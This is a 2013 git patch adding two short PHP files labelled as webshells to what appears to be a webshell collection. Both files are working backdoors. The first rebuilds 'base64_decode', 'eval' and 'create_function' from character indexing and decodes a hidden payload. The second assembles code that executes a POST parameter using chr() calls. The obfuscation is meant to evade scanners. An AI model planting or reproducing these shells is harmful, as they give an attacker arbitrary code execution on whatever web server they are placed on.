From 3addc515347aa865eccf115cd64d40ce0aff6769 Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Wed, 9 Oct 2013 18:24:30 +0800
Subject: [PATCH] update php

cnseay write php webshell
---
 php/webshell-cnseay-x.php   | 13 +++++++++++++
 php/webshell-cnseay02-1.php |  7 +++++++
 2 files changed, 20 insertions(+)
 create mode 100644 php/webshell-cnseay-x.php
 create mode 100644 php/webshell-cnseay02-1.php

diff --git a/php/webshell-cnseay-x.php b/php/webshell-cnseay-x.php
new file mode 100644
index 0000000..11ace51
--- /dev/null
+++ b/php/webshell-cnseay-x.php
@@ -0,0 +1,13 @@
+<?
+$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
+$__P_P="abcdefghijklmnopqrstuvwxyz";
+$__X_X="123456789";
+$__O_O=$__X_X[5].$__X_X[3]."_";
+$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];
+$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
+$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
+$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
+$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];
+$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');
+@$_[00]($__H_H($__H_H($__C_C)));
+?>
diff --git a/php/webshell-cnseay02-1.php b/php/webshell-cnseay02-1.php
new file mode 100644
index 0000000..5277a97
--- /dev/null
+++ b/php/webshell-cnseay02-1.php
@@ -0,0 +1,7 @@
+<?php
+$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU
+
+(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).
+
+$_uU(110);$_=$_fF("",$_cC);@$_();
+?>
\ No newline at end of file